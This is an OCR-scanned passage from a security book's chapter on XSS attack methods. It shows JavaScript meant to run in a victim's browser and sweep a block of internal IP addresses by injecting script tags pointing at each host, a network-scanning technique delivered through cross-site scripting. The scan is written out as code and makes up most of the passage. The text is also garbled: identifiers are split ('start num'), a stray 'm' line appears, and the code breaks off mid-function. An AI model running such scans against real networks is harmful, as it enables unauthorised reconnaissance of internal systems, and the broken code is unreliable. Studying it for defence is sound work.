XSS Attacks

178 Chapter 4 9 XSS Attack Methods

self.setTimeout("window.stop() ;", timeout) ;

x += 21;

} // end scanWebServers

/* scan a block of IPs */

function scan(start, end, range) {

var start num= 0;

if (start) { start_num = start; }

var end num= 255;

m

if (end) { end_num = end; }

// loop through number range

for (var n = start_num; n <= end_num; n++) {

// create src attribute with constructed URL

var URL = 'http://' + range + n + '/' ;

// create script DOM object

if (debug ['portscan' ] ) {

var script = document.createElement('script') ;

script.src = URL;

// add script